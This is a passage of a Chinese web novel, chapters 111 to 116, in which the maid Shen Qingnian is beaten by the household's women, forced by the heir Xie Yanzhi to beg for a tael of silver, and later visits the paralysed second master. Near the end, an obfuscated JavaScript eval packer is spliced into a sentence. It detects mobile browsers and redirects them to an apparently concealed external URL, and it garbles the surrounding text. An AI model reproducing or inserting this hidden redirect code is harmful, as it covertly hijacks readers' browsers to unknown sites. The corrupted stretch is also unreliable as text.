没有念儿的事,她们也不会放过她。 只是从前有二爷的庇护,这惩罚才来得晚了些。 第一百一十一章 你还想害他性命 “茶水还没来?”书房那边传来了清冷的声音,透着不悦。 苏姨娘知谢宴之生气了,忙推着沈清念:“念儿快去,不用管我。” 元青见状道:“清姑娘,我送苏姨娘回去吧。” 沈清念这才惊觉一直没有见到秋叶。 老夫人竟连姨母身边的丫鬟都不让留下,可见心中对她的事有多气恼。 沈清念对着元青点了点头,福了一礼:“多谢。” 元青哪敢受沈清念的大礼,忙拦住她:“清姑娘客气了,快去给爷添茶水吧。” 沈清念这才提着茶壶去了伙房,又来到了谢宴之的书房。 一边给他茶盏里添茶,一边思忖着如何才能消了老夫人心中的怒意,饶了姨母。 谢宴之一把抓住了她的手,眉头紧皱:“怎么毛手毛脚的?” 沈清念低头看去,茶水已经溢出了茶盏,就要顺着书案,流淌下去。 她忙放下茶壶又掏了帕子,将书案擦干净。 “为何这般心不在焉?”谢宴之脸色深沉下来。 在他面前,还敢走神! 沈清念低头不语,她若是说出姨母的事,谢宴之不见得会帮她。 或者帮了她,又要她拿些什么来交换。 她心中百般纠结,手不断绞着帕子。 谢宴之见她不说话,莫名心烦:“奉个茶也奉不好,滚出去门口站着!” 沈清念出去以后,谢宴之用手揉了揉太阳穴,不用想,他也知道她是因为苏姨娘的事。 可她为何不开口求他? 在她心里,她还是没将他当做倚仗! 不过当日他一心只想着要将沈清念抓回来,也没想到祖母还会罚苏姨娘。 为着二叔,他也该去走一趟。 第二日谢宴之带着沈清念与元青去老夫人处问安。 沈清念见苏姨娘一瘸一拐地行了礼,又去了旁边的佛堂,她心如刀绞,鼻尖发酸。 谢宴之看着她那副泫然欲泣的样子,心中不禁鄙夷。 他不是就在她面前吗?又不是没法子,还把自己急哭了。 谢宴之故作疑惑道:“祖母,苏姨娘这是怎么了?” 老夫人没想到谢宴之会问起这事,笑了笑:“苏姨娘佛缘深厚,这些时日一直替老二祈福,伤了腿了吧。” 谢宴之道:“既然都伤到腿了,想必菩萨也知苏姨娘的诚心了。” 老夫人心知这意思就是让她不要再罚苏姨娘了,别有深意地看了沈清念一眼。 沈清念也没想到,谢宴之会如此好心替姨母求情。她一时也拿不准谢宴之在想什么。 老夫人转身看向刘麽麽:“刘麽麽,去告诉苏姨娘,往后都不用再到佛堂来了。” “是,老夫人。”刘麽麽转身到了佛堂。 对着苏姨娘道:“苏姨娘,老夫人让您往后不用到这佛堂了。”刘麽麽面无表情道。 苏姨娘正跪得难受,忽然就得了这样一句话,心中有些疑惑。但也没有多问,只道“谢老夫人,也多谢刘麽麽了。” 刘麽麽撇撇嘴:“您还是多谢大公子吧,是他在老夫人跟前儿替您说话儿。老夫人才免了您的罚。” 大公子?难道是念儿去求了大公子?那大公子有没有为难她? 尽管苏姨娘有一肚子疑问想问,只能待跪完了以后再说了。 待出了问心堂,沈清念看着谢宴之走在前面的身影,犹豫着要不要向他道谢,可又怕他提出什么要求。 谢宴之回头,见她皱紧眉头,一副张不开嘴的样子,目光直直盯着她道:“我是你的主子,能替你做主,明白了吗?”说完,就去宫里复命去了。 乾清宫内。 谢宴之见了皇上,皇上甩了一本折子在他面前。 “爱卿,有人弹劾你此次下江南不是祭奠生母,而是为了一女子。这事可是真的?” 若谢宴之承认,那就是犯了欺君之罪了。 谢宴之闻言,倒也不慌,拱手道:“臣确实没去祭奠生母。但也不是为了一女子。” “哦?”皇上坐在案前,审视着他。 谢宴之从怀中掏出一物,安公公接过来将其呈给皇上。 皇上翻开看了看,竟是一封密信。 “这是……?” “皇上,臣在南下途中,故意放出风声说我已找到山匪账本。在往云州路上,遭遇埋伏,险些丧命,不过臣生擒了其中一人,得了这密信,就赶着回来见您了。” 所以他这不叫欺君之罪,相反,他又立了一功。 “书信上有特殊印记。顺着这印记,可查出刺杀微臣之人。” 皇帝随即问道:“可查出来了?” 谢宴之拱手:“此乃滇城萧家的秘印。” 是滇城萧家!皇帝心中有些惊讶。 滇城与岭南均是要塞之地,一旁的蛮夷虎视眈眈,若两处都出了差错,必将造成不小的是损失。 而滇城萧府。 一属下来报:“派去的杀手悉数被杀,那被谢世子生擒一人。恐怕……” 萧老爷看着底下跪着的萧洪意,气得一口气快上不来。 他不知道萧洪意竟然惹下这样的大祸,竟与山匪案有关。 如今又胆大到派杀手去刺杀谢宴之,还被他抓了把柄。 萧洪意脸色发白,抓着萧老爷的衣角求道:“父亲,儿子一时糊涂,收了山匪头子的好处,谁想到他竟是敌国探子!” “父亲,你就让老三去替我顶罪不行吗?反正他如今就在牢里,我们就说他畏罪自尽了。” 萧老爷听了这话,只觉血要冲上天灵盖:“你打伤府尹的幼子,怀意替你坐牢赔罪,已经是对不住他,如今你还想害他性命!” 只是怀意没有官职在身,认下罪状,不会连累萧家遭人弹劾。 他现在听萧洪意那番话,知他完全无悔过之心,心里也十分后悔让萧怀意去替他! 他已经对不住他的娘,那个记忆里温柔小意的女子,如今又怎么能让她唯一的孩子去死! 而平安正在牢门前道:“公子,谢宴之已获得密信。” 萧怀意难得的眼里有了一丝冷意:“那萧洪意可以死了。” 沈清念回了观澜居,发现菱儿已经勉强可以下地了,这也是这些日子来最令她高兴的事了。 “菱儿!”沈清念喊了她一声 “小姐!你回来了!”菱儿开心得笑了笑,这些日子总躺着,她早就想活动活动身体了。 沈清念道:“不要大意,还是要好好养着。” 菱儿也想快些痊愈,这样就能帮小姐做活了。 沈清念与菱儿正聊着,门外就来了不速之客。 “清姑娘,还请跟我们走一趟!” 第一百一十二章 我一个人的丫鬟 沈清念回头,见刘麽麽带了几个丫鬟站在门外。脸上不见和善,一副问罪的架势。 “不知老夫人为何忽然要见我?” 刘麽麽撇撇嘴:“您去了不就知道了?” 沈清念和菱儿心知肚明,瞧刘麽麽这架势,这趟去问心堂,怕不会过得容易。 “快走吧,别磨蹭了。”刘麽麽脸上明显不耐。 直接招呼两个丫鬟将沈清念架着走了。 “小姐!”菱儿大呼一声,跟着追,因着身上的伤,也只能眼睁睁看着沈清念被拉走。 菱儿急得团团转:“怎么办,怎么办?” 她停了下来:“大公子!对了,去找大公子!”这府上,恐怕只有大公子不怕老夫人了。 “老夫人,人带到了!” 那两个丫鬟将沈清念一把摔倒在地。 碰到了膝上的伤,疼得沈清念轻轻皱了眉。 她抬眸,见老夫人坐在首座,目光里没了先前的慈祥。 而大夫人坐在一旁,一副幸灾乐祸的样子。 “老夫人,清念不知何错之有?”沈清念问出心中疑惑。 老夫人鄙夷地看了她一眼,没有说话。又看了刘麽麽一眼。 刘麽麽会意,她伸手就给了沈清念一记耳光。 “你一个奴婢,哪能质疑主子。说你有错就是有错,只管认就是了。” 一巴掌下去,沈清念的脸上火辣辣的疼。 但她心中更加疑惑,只管认是什么意思?谢宴之都没她霸道! 她自问回府这一两日,并不曾做错何事,惹老夫人不悦。 大夫人厉声道:“苏姨娘的事,谁允许你向大公子告状的?” 说着,又看了一眼老夫人,继续道:“你这样让老夫人在大公子眼里成什么人了?” “大公子会误将老夫人当成了不慈不善之人,你说你该不该罚!” "我没有!”沈清念反驳道。 “我也不知世子为何会帮姨母求情。” 大夫人捏着沈清念的下巴,迫使她抬头:“还敢狡辩!” “刘麽麽,给我掌她的嘴,看她还能不能狡辩!” 刘麽麽看了老夫人一眼,见老夫人手上捏着佛珠,闭了眼,嘴里念着阿弥陀佛。 她抓着沈清念又扇了几个耳光。 沈清念被抽得嘴角都是血,脸也肿了。 脸上的疼,生生将她的眼泪逼了出来。 刘麽麽一松手,她整个人就倒在了地上。 大夫人见状,在一旁得意地扬了扬嘴角:“你知错了没?” 沈清念抹掉嘴角的血,没有一丝怯意,有些恨恨道:“我没做过,何错之有!” 大夫人又道:“看来,确实该好好教教你当下人的规矩了。” 说着,拔下头上的金钗,扎进了她的手指上。 十指连心,沈清念咬着牙忍住这钻心的疼痛,眼里的泪再次落下。 对着她滥用私刑,这就是权贵人家! 对上沈清念幽怨的眸子,大夫人怔了怔,没想到沈清念如此倔强! “你不过是仗着美色勾引大公子,可惜大公子如今进宫去了,可护不了你!”大夫人说着,又打算扎下去。 “母亲,我可不记得我竟是个色令智昏之人啊!” 谢宴之的声音传来,大夫人收回了要刺下去的手,脸上露出一丝慌乱之色。 随即,又消散了。她不怕,反正有老夫人给她撑腰呢。 谢宴之一进来,就在地上看到了那影子。 发丝披散,脸上红肿,嘴角的猩红深深刺着谢宴之的眼。 他走过去将刘麽麽踢了一脚,扶起了那摇摇欲坠的人,眼里凌冽的寒光,让大夫人后退了几步。 谢宴之又看向老夫人:“祖母,沈清念是孙儿一人的丫鬟,她的生杀打罚只由孙儿说了算。” “祖母向来是最心慈的长辈,切莫听信谗言,伤了无辜之人。” 说着,又扫了大夫人一眼。 “若我再发现有谁私下打罚我的丫头,就别怪我了!” 大夫人心知谢宴之是在说她在老夫人面前煽风点火,也警告她不许再动沈清念。 她脸上一阵发白,又有些羞愤。 她堂堂侯爷夫人,竟被一个继子当众教训! 但她也无可奈何。 老夫人见谢宴之最后将人打横抱走的样子,分明是紧张那丫头的。 她又念了一声阿弥陀佛,对着大夫人道:“这回你我可都看走眼了!” 菱儿在观澜居门口,伸着脖子往外看了好久,还不见大公子将小姐带回来。 刚刚她在门口见到谢宴之时,谢宴之一听,就往问心堂去了。 现在应该回来了呀。 看她急得像热锅上的蚂蚁,元青很想摸摸她的头,但他还是克制住了。 可自从在云州那次后,菱角就不爱搭理他了。 元青轻声道:“别担心,爷肯定能将清姑娘带回来的。” 正说着,就见自己爷怀里抱着清姑娘回来了。 清姑娘那狼狈的样子,就知老夫人下了狠手了。 菱儿知道自家小姐这一关不好过,也最多是被老夫人罚跪什么的,没想到她们竟将小姐打成这样。 沈清念挣扎道:“你放我下去!”伸手像谢宴之脸上呼过去,被谢宴之偏头躲过。 谢宴之不理会她的挣扎:“还有劲儿打爷,看来伤得还不够重!” 见到了观澜居的门口,谢宴之将她放下。 沈清念刚站定,就一巴掌打在谢宴之脸上:“别碰我!” 元青与菱儿皆是一惊,见谢宴之铁青着脸,二人大气儿都不敢出。 谢宴之也怔了一下,没想到会被沈清念打一巴掌,他觉着他的七窍都腾起了一股怒意。 见面前的人闪烁着晶莹的泪花,他皱紧眉头:“今儿要是没有爷,你能这样容易从问心堂出来?” 不知感激,还扇他!她真是比他还没有良心! 沈清念哭着道:“难道你还想让我感激你!” “感激你将我带回这个牢笼,任人拿捏任人踩?” 沈清念说着,慢慢蹲下了身子,喃喃道:“原本我已在云州过得那样惬意……” 任谁都能听出沈清念语气里的不甘和委屈。 菱儿听到小姐的伤心处,眼泪也跟着掉,她心疼小姐。 元青也在一旁,他没有资格说什么,一个是他主子,一个是他将来的主子。 主子伤害主子,他能说什么! 谢宴之看着她抱在地上哭得那样委屈,心中烦躁不已。 跟他在一起,就那样委屈? “我倒要看看,没有我护你几分,你在这世道怎么活!”谢宴之冷冷出声,看向沈清念的目光令人生寒。 第一百一十三章 轻轻吻上了那长睫 沈清念闻言,抬起头,有些难以置信地看着他。 谢宴之的话什么意思?他愿意放了她? 看着他透着寒光的眸子,她不相信他会有那么好心。 但是能出府一趟,沈清念的心里还是隐隐有些期待的。 关在这府里,她快要窒息了。 菱儿也停住了哭声,大公子的意思是愿意放小姐出府? 每个人都含着期盼的目光看向谢宴之。 谢宴之道:“你不是喜欢出府讨生活吗?现在便出府去乞讨,今日讨不到一两银子,就别回来!” 一两银子!谢宴之别过脸,不看沈清念那双满含怨怼的眸子。 元青也惊得要掉了下巴,一天乞讨一两银子!叫清姑娘出去**或许有几分可能。 爷还不如直接让清姑娘开口求他!偏要这样折磨人。 沈清念慢慢站起身来,颤颤抖抖向观澜居外走去。 与谢宴之擦身而过时,听到他低沉无情的声音:“别想着逃,想想你那丫头还有你的姨母。” 沈清念恨恨看了他一眼,抬脚跨出了门槛。 谢宴之也拂袖进了屋子。 菱儿想跟着沈清念去,元青道:“你现在这样,只会拖累清姑娘。清姑娘聪慧,定会凑到银子的。” 菱儿只能立在门口,流着泪望着小姐的背影越来越远,直到消失不见。 沈清念来到街上,街上的人看到她这副样子,有些甚至伸出手对她指指点点。 她低着头,心里难受得紧,她觉得自己好像没穿衣裳被人围观一样,羞耻极了。 她摸了摸手上的镯子,一家当铺门前停了下来。 此时有一人上来,眼睛看着前方,却压低声音对着她道:“姑娘,世子只许乞讨挣银子。” 沈清念苦涩一笑,谢宴之倒是想得周全,还派了人来看着她乞讨。 她又往前继续走,路过一家医馆时,门口的药童道:“姑娘,进来看看吧,你受伤了。” 沈清念摇摇头:“我身上没有银钱,看不起伤的。” 她看着那药童手上黑漆漆的药,一时间竟觉得自己比这药还苦。 这才过了两日不到,她已经觉得好漫长,剩下的日子,该怎么熬过去。 可她转眼一想,她还要活下去,母亲还在那个**的家等着她。 这样想着,沈清念找药童讨了一张包药的纸。 随后,又找了一个角落,坐下后,将纸张铺在了地上。 来来往往的人,有心善的姑娘看到她这样子,给她几块铜板的。 也有人看她一身丫鬟打扮,脸又被人打成这样,骂她是狐媚子,勾引主子的。 还有妇人用菜叶子砸在她头上取乐的。 沈清念伸出手拉住那人的衣角,冷冷道:“砸也砸了,该给钱了。” 那妇人见扯不出衣裳,只好悻悻的掏出一个铜板丢在地上:“死乞丐!” 沈清念捡起那文钱,放进袖子里。 就算她当乞丐,也要活下去,也要让谢宴之看看,她绝不会臣服在他的**之下。 忽然一人翻身下马,丢给她几颗碎银子:“姑娘,这些钱拿去医馆给自己治治伤吧。” 沈清念听到声音,将头埋得很低,一滴泪滴落在地。 那声音,是平安。 万一萧公子也在,她不能让他看到她这副模样。 她对着平安拱了个礼,平安道:“姑娘不必客气,反正这钱也是我家公子赏我的。随我怎么使。” 说完,平安再次翻身上马。 直到枣红色的马腿离开了她的视线,她才抬起头看了过去。 却没有看到她想看到的那个身影。 平安回京了,那萧公子会不会也回来了? 沈清念拿起那几个碎银,心中又悲又喜。 有了这些钱,她还差十几文,便可凑到一两银子了。 萧公子冥冥中,又帮了她一次。 直到天色暗下来,行人慢慢消失,沈清念也终于凑齐了一两银子。 她拖着疲惫的身体,一步一步踏上靖南侯府的台阶,伸手拉了门环敲门,门房透过门缝,看了她一眼又离开了。 沈清念又等了一会儿也没有等到人来开。 她只好缩在大门边的角落那里,抱着自己让自己温暖一些,慢慢进入了梦 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他们萧家如今惹了事,皇上命他彻查,这个节骨眼上,他还回来做什么?他不是该躲得远远的么? 谢宴之起身来到窗户边,看着漫天的雨幕,脑海中不自觉想起了那张倔强的脸。 派出去跟着的人说她已经讨够了一两银子,只是现在被他命人关在了府门前,不得进来。 谢宴之冷哼,沈清念宁肯这样没有尊严的乞讨,也不肯向他认错求饶! 他都不明白自己怎么会对这样一个犟种如此执着。 想着,他撑伞走了出去。 门房替谢宴之打开府门,一股冷气朝他迎面扑来。 他扫了一眼四周,只见那小小的身影,将自己包成一个小团,缩在角落里打着抖。 他走到她面前,却见眼前的人眉头紧锁,闭着眼,似根本感觉不好他的靠近般。 他伸出手,想要碰触她的脸。 沈清念那纤长的睫毛好似感受到他手指的靠近,不安地扑闪了一几下。 谢宴之似安抚一般,轻轻吻上了那长睫。 第一百一十四章 又可以去看她的夫君了 等沈清念清醒过来,已是第二日大上午。 “小姐,你醒了?”菱儿坐在床边,关切地看着沈清念。 沈清念觉着头还有些疼,撑着身子坐了起来:“我怎么会在这儿?” 她记得昨夜下了好大的雨,没人给她开门,她便在大门前睡着了。 菱儿眼里带泪:“是大公子将你抱回来的。” 沈清念正看着自己的手,被大夫人扎的那根手指头,已经被纱布包裹起来。 听了菱儿的话,她顿了顿,是谢宴之将她抱回来的? 沈清念心里涌上一股恼意:“谁要他假好心!” 明明恨她得紧,为何还要来救她,来抱她? 这样的折磨到底是折磨她还是在折磨他自己。 谢宴之就是一个疯子。 菱儿递过来一条巾子:“小姐,擦把脸吧。” 沈清念想着昨夜淋了雨,脸上是脏脏的。接过巾子擦了下脸,竟发现脸也没昨天疼了。 她有些惊喜道:“菱儿,给我铜镜。” 沈清念看着铜镜里的脸,还有一些青紫,但已经不肿了。 菱儿见沈清念刚刚的态度,也不敢说是大公子亲自给她抹了药膏。 听元青说那膏子金贵得很,宫里的娘娘才能用。 她指了指床边的瓷瓶,只对着沈清念道:“昨夜大夫来给了些药膏,说是特别好用的。” 沈清念正要说话,就听见一声“念儿!” 一阵脚步声后,门帘掀了起来,苏姨娘和秋叶走了进来。 “姨娘!”菱儿向苏姨娘行了一个礼。 “快坐,快坐。”苏姨娘也知菱儿受伤了还未痊愈。 秋叶为苏姨娘搬来了一个软凳,苏姨娘就靠着床边坐下。 “姨母,您怎么过来了?” 苏姨娘将沈清念的手轻轻握住,看着她脸上的伤,心里一阵难过:“我原本昨日就想来瞧你了,结果观澜居的人说你出府去了。” 苏姨娘又叹了口气:“都是因为我。” “以后,别再因为我的事求大公子了。” 她已经知道因着她的事,老太太责罚了沈清念,只是今日一见,沈清念脸上的青紫看着都让人觉着疼。 老夫人竟将念儿罚得这样重。 沈清念皱眉道:“我没有求谢宴之,是他自己跟老夫人求情的。” 苏姨娘闻言,眼里闪过一丝狐疑:“你没有求大公子?” 那为何大公子会帮她求情?她看见了床边放着的瓷瓶,从前二爷也给过她的。 心里明白,沈清念怕是不知道大公子的心意吧。 “若不是为我的事,老夫人为何罚你?”苏姨娘也有些疑惑。 “她们不信我,非说我求了谢宴之,令老夫人颜面受损。”沈清念现在想起来,心里还有些愤愤不平。 无凭无证的,大夫人和老夫人就咬**她嚼舌根,对她滥用私行。 靖难侯府就是个**窝。 苏姨娘听了这话,大概明白了怎么回事。 她伸出手想碰沈清念的脸,又担心弄疼她而悬空停下:“还疼吗?” “姨母,不疼!” 沈清念看着苏姨娘,她在这靖南侯府不过两三月,日子都难熬。 姨母却在这里十几年了,这其中的艰辛,可想而知。 ‘’姨母,您这些年在侯府待着,真的感觉开怀吗?” 每日天不亮就要立在夫君和主母的卧房外等着伺候,一日三餐也要立在桌前为他们布菜。 主母一不高兴,可打!可杀!可卖! 更难受的,还要看夫君与主母卿卿我我,夜夜孤枕。 沈清念想到这样的日子,就浑身发寒,这样的日子根本没有盼头。 苏姨娘听了这话,有一瞬间失神。 开怀吗?她不禁在心里问自己。 想了想,她对沈清念道:“二爷还好的时候,我每日都是开怀的。” 似想到了什么,苏姨娘脸上扬起了笑容。 沈清念能感觉到姨母对这位二叔是极喜欢的。 可越是喜欢,看到二爷与二夫人在一起时,心里不是更难过吗? “二爷从不让我晨起服侍,三餐布菜的。” 苏姨娘自顾自说着,待看到沈清念脸上惊讶的表情,笑着道:“是真的,二爷他很珍重我。” “有时我催他去二夫人房里,他还会跟我置气,几天都宿在书房里。” 有一次,二夫人林氏又来找她,要她把二爷叫到林氏的房里去。 结果二爷大 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‘’姨母,我听说二爷从前是将军,后来为何病了?”沈清念目光殷切,她迫不及待想要弄清楚二爷生病的原因。 苏姨娘的思绪一下回到十年前,一日清晨起来,二爷就无法动弹了,话也说不了。 他只是睁着眼看着她,眼里的惊慌和恐惧,苏姨娘到现在都还记得。 那时候,也请大夫过来看了,说二爷是中风了。 可二爷正值壮年,怎么会中风了呢? 可后来,宫里的太医,民间神医都看了,都没法子,只有日复一日喝着药,这些年也没个好转。 再后来,二爷的眸子也一天天暗下去了,再也没了从前的光彩。 沈清念怎么听,都觉着这件事透着蹊跷,但她没有亲自见过二爷,也不知是哪里不对。 她转身对苏姨娘道:“姨母,您什么时候带我去看看二爷。我到这府上这么久,还没见过二爷呢。” 她也想去看看姨母口中那个爱她敬她的二爷是什么样的。 苏姨娘笑着点点头,过几日,她又可以去庄子上看她的夫君了。 第一百一十五章 定会叫他离不了我 菱儿听了苏姨娘的话,心里对谢二爷也多了些好奇,见自家小姐要去,急着道:“我也要去!我也要去!” 沈清念和苏姨娘都笑了起来。 苏姨娘看着她那着急的模样,笑着道:“好,都去,都去!” 沈清念笑道:“二爷可真得女子喜欢呀!都争着去看他!” 苏姨娘笑着感慨,那样好的夫君,如何能叫她不爱呢? 好得到叫她宁愿这一生都困在这侯府里。只要他在,她就在。 “要去哪儿?他是谁?” 听见谢宴之的声音传来,屋子里立刻安静了下来。 谢宴之踏了进来,眼神晦暗不明,屋子里最后的两句话都落在了他的耳朵里。 “大公子!”苏姨娘起身行礼。 菱儿和秋叶也跟着行了一礼。 谢宴之金刀大马往椅子上一坐,凌冽的目光就向沈清念看过来。 “你刚刚说要去看谁!” 语气里是一股不容忽视的威压,强势得不允许人不回答。 他一早下了值,就回来看沈清念。 隔着门都听见屋子里的阵阵笑声,看来她快意得很,哪用他惦念。 沈清念见他一副煞神的表情,心知他又不知在胡乱想些什么。 现在来盘问她! 但她要去看谢二爷,还得谢宴之应允。 苏姨娘倒是想开口,可谢宴之一直看着沈清念,觉着他应当是想听念儿说。 这样揪着一句话不放,看来大公子对念儿当真是不会轻易罢休的。 苏姨娘眼中露出些许担忧。 沈清念按下心中不满的情绪道:“我们在说想陪姨母去庄子上看二爷。” “哦?”谢宴之转了转扳指。 “怎么想起看我二叔了?” 沈清念直言:“我来府上还从没见过谢二爷,正好姨母想去,我也想跟着去看看。”语气里满是坦然,没有一丝惹人怀疑的地方。 闻言,谢宴之心中的烦躁才歇了下来。 如果苏姨娘不是妾室的话,沈清念也得叫他的二叔一声二姨父。 想到这儿,似乎沈清念与他之间的关系又近了许多。 谢颜值嘴角微翘:“你是该去看看,好好认认人。” 沈清念见状,总觉得他的话有些奇怪,到底哪里奇怪又说不上来。 而苏姨娘知道,这是大公子在逗弄沈清念。 大公子将来应当还是要将念儿留在身边,那他最敬重的二叔,念儿自然也得认识。 苏姨娘甚至觉着大公子对念儿,有些像二爷对待她。 当年她一直称呼谢松奕为二爷,可他却鼓励她叫他夫君,还带她去见他敬重的老师,也说是让她认认人。 苏姨娘再看一眼沈清念,心里无可奈何叹了一口气,大公子和念儿之间注定坎坷许多。 沈清念看谢宴之的脸没有之前的深沉,试着问道:“那世子是准许奴婢跟着姨母去庄子里看二爷了吗?” 谢宴之听着她语气里的轻快,没有回答她,而是转过头来,目光幽幽地看着苏姨娘:“姨娘将我的丫鬟带出去,也要记得带回来。” “若是人丢了,我可是要去找谢昭讨的。” 苏姨娘点点头:“大公子放心,我定将人分毫不差带回来。” 沈清念见谢宴之暗自威胁姨母,心里有些不是滋味。 她现在就是想走,也走不了。 总得看看谢二爷的情况再做打算。 谢宴之扫了一眼沈清念,负手出门对门口的人道:“走,去问心堂。” 元青紧跟其后,今日李大将军到府拜访爷,爷非要看了清姑娘再去。 现在人已等了一会儿了。 到了问心堂,李将军李仁和正与老夫人闲聊。 见谢宴之进来,李仁和起身:“谢世子!” 谢宴之拱手:“李将军。” 说着,二人分别落座,丫鬟又为谢宴之添上了茶水。 谢宴之开口问道:“不知李将军今日到府有何事?” 李仁和爽朗一笑:“老夫今日是特意过来多谢世子的。” “哦?我不记得何时相助过李将军。” 李仁和笑道:“并非为我的事,是我家妍儿。” 谢宴之才注意到旁边的女子。 那女子肤若凝脂,面若桃花,头上戴着了好几只珠翠。 身上的衣裳也是流光纱制成,在光照下流光溢彩,一看便知是家世不凡的贵女。 谢宴之面上无异样,心中却不喜这种富贵奢华的打扮。 自谢宴之进来,李慧妍的眼就没离开过他的身姿。 今日仔细一瞧,谢宴之比她当日所见更加俊朗不凡,周身的气度,是她想要的贵胄之气。 那双清冷的眸子,此刻正看着自己,李慧妍脸上不由一红。 见谢宴之看向自己,她拨开挡在脸上的海棠团扇,起身福了一礼: “谢世子。” 谢宴之颔首:“李小姐。不知我何时相助过小姐?” 闻言,李慧妍有些失望,他竟将她忘了。 但是她随即又保持住得体的笑容,柔声道:“当日落水,幸得世子相救,小女子感激不尽。” 谢宴之恍然,原来是她。 “当日救人的,是我的侍卫元青,李小姐想谢便谢他吧。”谢宴之平静道。 此话一出,李慧妍一愣,当日下水救她的确实是那个侍卫。 她一时也不知怎么接话。 见李慧妍脸上有些尴尬,李仁和道:“若没世子发话,想来那侍卫也不会救我家小女。想来,还是得感谢世子。” 李仁和也从衣袖里掏出了一张银票,递给元青:“这位小哥,多谢了。” 李慧妍也福了一礼,多谢元青的救命之恩,举手投足间,尽显大家闺秀的风范。 老夫人乐呵呵地点点头,她对李慧妍十分满意。 这姑娘不仅知书达理,家世也好,她的嫡姐还是宫里荣宠正盛的云贵妃。 刚刚李将军也暗示她想要拉进两家的关系。 她再看了一眼谢宴之,觉得李慧妍配得上她的宴哥儿。 李氏父女又说了一会儿话,谢宴之送老夫人的意思,将人送到府门前。 直到马车动了起来,谢宴之才转身回府。 李慧妍撩起帘子,见那抹身影,心里满是甜蜜。 李仁和在一旁道:“谢世子看着好像对你无意,你可是要强求这桩亲事?” 李仁和不知李慧妍如何就看上了谢宴之。 那谢世子确实气度不凡,可他看李慧妍的眼神,没有一个男人看女人的欣赏。 李慧妍用手扶了扶头上的玉簪道:“只是时日尚短,他还不知女儿的好。” 她是贵妃的妹妹,又是京里有名的才女,上门求亲之人踏破了门槛儿。 那么多的人里,她只看中了谢宴之,她就一定要得到他。 刚刚又听谢老夫人说,谢宴之至今没有一个妾室,甚至通房丫鬟也没有。 那样有男子气概的人,还这般洁身自好,这样的男子便是放眼京城,都很难找到。 她是不可能放过他的。 李慧妍语气坚定道:“父亲,假以时日,我定会叫他离不了我。” 第一百一十六章 加倍讨回来 待李慧妍走后,老夫人捻了捻佛珠道:“看来,宴哥儿对李小娘子没那个心思。” 一旁的刘麽麽也知道老夫人在想什么。 老夫人刚刚一直夸赞李慧妍,看来是对她当孙媳妇十分满意了。 她躬了躬身道:“但老奴瞧着,这李小娘子对大公子,倒是有些情意。” 大公子生得俊朗高大,寻常女子见了很难不动心。 现在细细想来,那位表小姐倒也是个聪明的,知道自己配不上,早早地就要躲开了去,免得日后定要与好些女子争抢大公子。 老夫人笑了笑道:“宴哥儿不与女子打交道,自然不知人家小娘子的心思。” “这李小娘子人品家世都不错,既然她有意宴哥儿,我倒是也乐意撮合一把。” 刘麽麽心里却不这样认为,大公子虽不近女色,却也不见得不懂女子对他的心思。 不然,之前那些上门的表小姐,是如何被撵走的。 可看着老夫人那眼里的笑意,好像都已经看到自己的重孙了,她也不想打扰老夫人的臆想。 到了去庄子的那一日,沈清念一早便和苏姨娘到了济安堂抓药。 “念儿,我们给二爷拿了药,再过去庄子上。”苏姨娘说着,便走了进去。 每次二爷将药喝完了,二夫人就会派人来叫苏姨娘送药去。 店里的伙计早已将药材配好,分成一个一个的小包。 沈清念看了看那些药材,都是些寻常滋补的药材,并无不妥。 可这也是最大的不妥之处,这些药材只是滋补,却没有什么对症的药。 沈清念不禁问道:“姨母,既然这个药喝了,二爷并没有多大起色,为何不换?” 苏姨娘叹了口气,眉眼里染上一丝忧愁:“没人知道二爷到底得了什么病,只用这滋补的方子,吊着命罢了。” 沈清念心中明白了,看来府上的人都知道这药只能续命,却不能医治。 但她心里还是存了些疑惑。 马车缓缓跑动起来,不久后,她们便到了庄子上。 庄子上的管事,见苏姨娘来了,客气地将药接过去,拿去伙房吩咐人熬药去了。 随后,苏姨娘带着沈清念和菱儿去二爷的屋子,门口的另一个婆子看了看她身后的沈清念和菱儿,撇了撇嘴:“姨娘,这屋子可不是什么人都能进的。” 说着,给了旁边那个婆子一个眼神,那婆子便快步去禀告林氏去了。 二夫人可是吩咐过了,除了苏姨娘,其他人要见二爷都得向她通报。 苏姨娘柔声道:“这是我娘家的侄女,算不得什么随便的人的。” 那老婆子还是横着手,堵在门前。 沈清念才知姨母在府中的日子竟难过成这样,连下人婆子都不将她放在眼里。 “我家念儿也是替大公子过来瞧瞧二爷的,若回去大公子问了话,也好回个话不是?” 那老婆子一听,再看沈清念绝美的容貌,兴许真是大公子看重的人。 这才不情不愿地开了门,让她们三人进去。 苏姨娘一进去便朝床榻走了过去,蹲在床边,轻柔地唤着谢松奕:“二爷,我来看你了。” 可谢松奕两眼空洞,什么也感知不到一般。 只是盯着帐顶,脸上没有任何神色变化。 沈清念看了谢二爷如今的模样,很难跟姨母口中说那个狂放不羁的将军对应起来。 再看姨母那伤感的样子,她心里也是说不出的难受。 菱儿则是被谢二爷如今的模样吓到了。 二爷那两个空洞的眼睛,黑乎乎的,像是要**一般。 那手也是干瘪得厉害,青筋凸起如同一条条弯曲的肉虫子。 可姨娘却并不害怕,还握着二爷的手,轻轻放在自己的脸颊边。 此时,门帘再次掀起,林氏从外面进了来。 一进屋,就见苏姨娘身边立着的那个身影。 林氏眼里的火星子都要蹦出来了。 沈清念将敏儿害得那样惨!她还敢来! 林氏恨不得吃其肉,饮其血! 不过现在不是打草惊蛇的时候! 她面上带着一丝假笑,对着沈清念道:“这不是清丫头吗?前段时间听说你回江南了,这么快又回来了?” 这些时日她虽不在府里,却也知道她好像因着什么事,离了靖南侯府。 只是老夫人雷霆手段,知情的下人嘴巴都闭得十分严实,不然,她倒想看看沈清念究竟有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366000|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么要走,能不能当个把柄给她抓抓。 有了陆二爷的事,沈清念心中也十分不喜林氏。 但她毕竟是二房的主母,她没撕破脸皮,她也可以陪着她演上一回。 沈清念福了一礼,轻声回道:“是的,二夫人。” 